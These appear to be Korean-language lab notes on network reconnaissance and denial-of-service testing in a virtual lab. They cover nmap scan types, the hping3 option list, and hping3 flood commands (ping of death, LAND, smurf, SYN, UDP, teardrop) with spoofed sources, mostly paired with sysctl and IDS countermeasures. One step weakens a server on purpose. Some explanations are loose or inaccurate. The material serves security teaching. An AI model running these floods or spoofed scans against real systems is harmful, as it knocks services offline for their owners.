본 문서는 가상환경에서 테스트 된 것으로 실무환경에서 수행 할 경우 다른 결과를 갖을 수 있다.
테스트 환경
장비 |
운영체제 |
IP Address |
Interface |
Role | |
Net |
EVE-ng pnet0 |
DHCP(VMnet8) |
Pnet 0 |
| |
ASW |
EVE-ng L2 IOU |
10.1.1.254(VLAN1) |
VLAN 1 |
| |
Linux |
CentOS 6.6 |
10.1.1.1/24 |
Eth1 |
| |
Win |
Windwos 7 sp1 |
10.1.1.2/24 |
로컬영역연결 |
| |
Linux-Kali |
Kali Linux |
10.1.1.3/24 |
Eth0 |
Attacker | |
Linux-Meta |
Metasploitable2 |
10.1.1.4/24 |
Etn0 |
Victim | |
Windserver |
Window 2008 R2 |
10.1.1.5/24 |
로컬영역연결 |
| |
|
1. TCP Connect Scanning
[root@lux ~]# nmap -sT 10.1.1.4
(ip.addr eq 10.1.1.3 and ip.addr eq 10.1.1.4) and (tcp.port eq 22)
2. TCP SYN Stealth Sacnning
<!--[endif]-->
3. TCP Xmas scanning
[root@lux ~]# nmap -sX –p22 10.1.1.4
(ip.addr eq 10.1.1.3 and ip.addr eq 10.1.1.4) and (tcp.port eq 54255 and tcp.port eq 22)
( Opened 22 port on target system)
[root@lux ~]# nmap -sX –p28 10.1.1.4
(Closed 28 port on target system)
4. TCP FIN Scanning
[root@lux ~]# nmap -sF -p22 10.1.1.4
( Opened 22 port on target system)
(Closed 28 port on target system)
5. TCP NULL scanning
[root@lux ~]# nmap -sN –p22 10.1.1.4
( Opened 22 port on target system)
(Closed 28 port on target system)
6. TCP Ack scanning
[root@lux ~]# nmap -sA -p22 10.1.1.4
( Opened 22 port on target system)
(Closed 28 port on target system)
[root@lux ~]# nmap -sU –p53 10.1.1.4
[root@lux ~]# nmap -sU –p54 10.1.1.4
[root@lux ~]# nmap -sO –p22 10.1.1.4
[root@lux ~]# nmap -Pn -S 1.1.1.1 -e eth0 10.1.1.4
(To scan the target with ip spoofing 1.1.1.1)
HPING3?
1. 무료 패킷 발생기
2. 무료 패킷 분석기
3. Salvatore Sanfilippo 가 배포
4. 네크워크 보안 테스터 제품 중 하나
5. 보안감사와 방화벽과 네트워크 테스트 도구
6. Nmap 보안 스캐너로 구현
root@kali:~# hping3 -h usage: hping3 host [options] -h --help show this help -v --version show version -c --count packet count -i --interval wait (uX for X microseconds, for example -i u1000) --fast alias for -i u10000 (10 packets for second) --faster alias for -i u1000 (100 packets for second) --flood sent packets as fast as possible. Don't show replies. -n --numeric numeric output -q --quiet quiet -I --interface interface name (otherwise default routing interface) -V --verbose verbose mode -D --debug debugging info -z --bind bind ctrl+z to ttl (default to dst port) -Z --unbind unbind ctrl+z --beep beep for every matching packet received Mode default mode TCP -0 --rawip RAW IP mode -1 --icmp ICMP mode -2 --udp UDP mode -8 --scan SCAN mode. Example: hping --scan 1-30,70-90 -S www.target.host -9 --listen listen mode
IP -a --spoof spoof source address --rand-dest random destionation address mode. see the man. --rand-source random source address mode. see the man. -t --ttl ttl (default 64) -N --id id (default random) -W --winid use win* id byte ordering -r --rel relativize id field (to estimate host traffic) -f --frag split packets in more frag. (may pass weak acl) -x --morefrag set more fragments flag -y --dontfrag set don't fragment flag -g --fragoff set the fragment offset -m --mtu set virtual mtu, implies --frag if packet size > mtu -o --tos type of service (default 0x00), try --tos help -G --rroute includes RECORD_ROUTE option and display the route buffer --lsrr loose source routing and record route --ssrr strict source routing and record route -H --ipproto set the IP protocol field, only in RAW IP mode
ICMP -C --icmptype icmp type (default echo request) -K --icmpcode icmp code (default 0) --force-icmp send all icmp types (default send only supported types) --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0) --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp) --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask) --icmp-help display help for others icmp options
UDP/TCP -s --baseport base source port (default random) -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec -k --keep keep still source port -w --win winsize (default 64) -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) -Q --seqnum shows only tcp sequence number -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead. -M --setseq set TCP sequence number -L --setack set TCP ack -F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag -U --urg set URG flag -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) --tcpexitcode use last tcp->th_flags as exit code --tcp-mss enable the TCP MSS option with the given value --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common -d --data data size (default is 0) -E --file data from file -e --sign add 'signature' -j --dump dump packets in hex -J --print dump printable characters -B --safe enable 'safe' protocol -u --end tell you when --file reached EOF and prevent rewind -T --traceroute traceroute mode (implies --bind and --ttl 1) --tr-stop Exit when receive the first not ICMP in traceroute mode --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop --tr-no-rtt Don't calculate/show RTT information in traceroute mode ARS packet description (new, unstable) --apd-send Send the packet described with APD (see docs/APD.txt) |
hping3 --icmp 192.168.x.128 -d 65000 -i u1000 -a 172.16.1.2
~ 1000분의 1초 단위로 패킷 전송
hping3 --icmp 192.168.x.128 -d 65000 --flood -a 172.16.1.2
~시스템의 가용할 수 있는 최대로 패킷을 보낸다.
# 대응 방법
- ICMP 제한 : 정상적인 경우 Linux = 64byte, Windows = 32byte임
- 특정 IP에서 오는 ICMP 개수를 제한 (ex. 초당 10개까지만 허용)
2. LAND Attack
출발지 주소를 Target의 주소로 스푸핑하는 Ping of Death
hping3 --icmp 192.168.x.128 -d 65000 -i u1000 -a 192.168.x.128
#대응방법
외부 네트워크에서 출발지를 내부로한 패킷이 들어오면 차단
3. Smurf Attack
출발지는 Target으로 지정, 목적지를 Target이 속한 네트워크로 직접 브로드캐스트를 보내는 Ping of Death
<참고>
Broadcast :
-제한된 브로드캐스트 (Limited Broadcast) : 모든 비트가 1 (255.255.255.255)
> 같은 네트워크 내에서만 전달됨 (라우터가 받으면 버림)
-직접 브로드캐스트 (Direct Broadcast) : 네트워크 부분은 공인 IP대역 , 호스트 부분만 1로 구성 ex)168.240.15.255
hping3 --icmp 192.168.x.255 -d 65000 -i u1000 -a 192.168.x.128
#대응방법
-sysctl -a | grep net.ipv4.icmp_*
-sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
4. TCP SYN Flooding
: Backlog Queue 에 쌓이도록 유도하여 Queue 기능을 상실토록 하는 공격법
: Time-Out이 되기 전에 Backlog Queue를 채우면 공격 성공
hping3 -S 192.168.x.128-p 80 -i u1000 -a 172.16.1.2
(-S : sync, -p 80: web server)
hping3 -S 192.168.179.128 -p 80 --flood --rand-source
(참고 --rand-source : 출발지 주소를 랜덤하게 변경)
#대응방법 : (이것만으로 전부 해결은 아님)
sysctl -w net.ipv4.tcp_keepalive_time=1600
sysctl -w net.ipv4.tcp_syncookies=1
5. UDP Flooding
hping3 --udp 192.168.179.128 -p 53 -i u1000 -a 172.16.1.2 -d 1470
6. Tear Drop (찢어 버리기임, 눈물 떨구기 아님)
: Offset값을 조작해서 재조립을 방해하는 공격 기법
(Offset 값은 첫바이트를 8로 나눈 값을 번호로 사용하는 것)
hping3 --icmp 192.168.179.128 -g 200 -d 1450 -i u1000
(-g: Offset)
#10. DOS 공격
※ DOS(Denial of Service) - 비교적 간단하다.
* 네트워크 해킹의 메리트는 감염이 되지않아도 가능하다는 점이다.
* DOS 공격의 분류.
1. 파괴공격 : 디스크나 데이터 시스템의 파괴. (EX, 320d)
2. 시스템 자원의 고갈 : cpu, 메모리, 디스크의 사용에 과다한 부하를 가중시킴. (ex, fork()함수를 무한 루프 발생 경우에 메모리 고갈, 악성코드)
3. 네트워크 자원의 고갈 : 쓰레기 데이터로 네트워크 대역폭을 고갈시킴.
* DOS 종류
- 1Tier Attack : 1:1로 공격하는 경우.
- 2Tier Attack : 다수
- 3Tier Attack : 엄청 많은 수
* DOS 공격
1. Ping of Death
- 핑을 어마어마하게 보내 ICMP 패킷을 정상적인 크기보다 크게 만드는 것이다.
- hping3 -1 타겟아이피 -d 패킷사이즈 -i u100을 하면
초당 1000개씩 적은 패킷사이즈의 패킷이 타겟아이피로 전송이 되서 [사진 2] -> [사진 3]로 갑자기 사용량이 급등하는 것을 보실 수 있습니다.
[사진 1] Ping of Death.
* 보안 방안
- OS Ping length Define
- Use IDS/IPS
- 요즘은 일반적으로 핑공격은 거의 통하지 않는다.
※ SYN Flooding
- SYN을 무지막지하게 보내서 Client가 서버의 SYN Queue (SYN을 담을 수 있는 공간)를 Overflow시켜서 서버를 오동작 시키게 하는 기법.
- 우선 일부러 취약하게 하기 위해 서버에서 해야할 작업을 알려주겠다.
# cd /proc/sys/net/ipv4/
# echo 0 > ./tcp_syncookies
# echo 128 > ./tcp_max_syn_backlog
- 공격 : hping3 본인아이피 -a 서버아이피 -p 80 -S -i u100
// p는 포트 a는 arpspoof, -S는 SYN FLAG
* 보안 방안
- 취약하게 한 명령어를 반대로 치면 그게 보안 방안.
- SYN Packet Intervel에 따른 차단.
* TearDrop - win xp sp1에서만 가능.
- 패킷을 segmentaion을 시킬대 offset을 어긋나도록 수정을 함 그로 인해 받는 측에선 조합을 못하고 치명적인 오류가 생겨 블루 스크린까지 초래하는 공격 기법.
- 사용법 - 따로 다운 받아야합니다.(소스코드는)
- ./teardrop 해커ip 서버ip -s 100 -t 서버의 열린포트 -n 1000 -i u100
* 보안 방안
- 윈도우 업데이트
- IDS/IPS사용
* Rand Attack
-> 과부하는 올 수 있지만 효과느 거의 없는 공격 기법.
-> Source IP를 Destination IP로 속여 무한루프가 되며 가용성 저하.
- 사용법 : hping3 공격ip -a 공격ip -s 100 -p 공격포트 -S -c 100
* 보안 방안
- src ip와 dst ip를 체크
- Using IDS/IPS
nmap |
개요
옵션설명
nmap(1)의 기본적인 사용 방법은 아래와 같다. nmap [스캔 타입] [옵션] {목적지 지정} 옵션 설명을 보기 전에 네트워크에 대한 광범위한 지식을 알고 있어야 한다. 특히 TCP/IP, ICMP에 대한 지식은 필수다.
목적지는 호스트명, IP주소, IP주소 범위, 도메인 등을 지정할 수 있다. ,를 사용해 두개이상의 타겟 구문을 지정할 수 있다. 아래에 몇가지 예제가 있다.
아래와 같은 옵션을 지정해줄 수 있다.
nmap(1)은 여러가지 스캔타입을 지정할 수 있다. 호스트 디스커버리 옵션
스캔 기술 옵션
포트 선택 및 스캔 순서 옵션
서비스 및 버전 감지 옵션
스캔 스크립트 옵션
운영체제 감지 옵션 운영체제 감지에 대한 전반적인 사항은 Chapter 8. Remote OS Detection을 참고하자.
타이밍 및 성능 옵션
방화벽/침입감지시스템 회피 및 스푸핑 옵션
출력 옵션
기타 옵션
사용 예
nmap -sU -p 포트번호 IP주소 클라이언트에서 서버의 TCP 포트 오픈 확인 nmap -p 포트번호 IP주소
|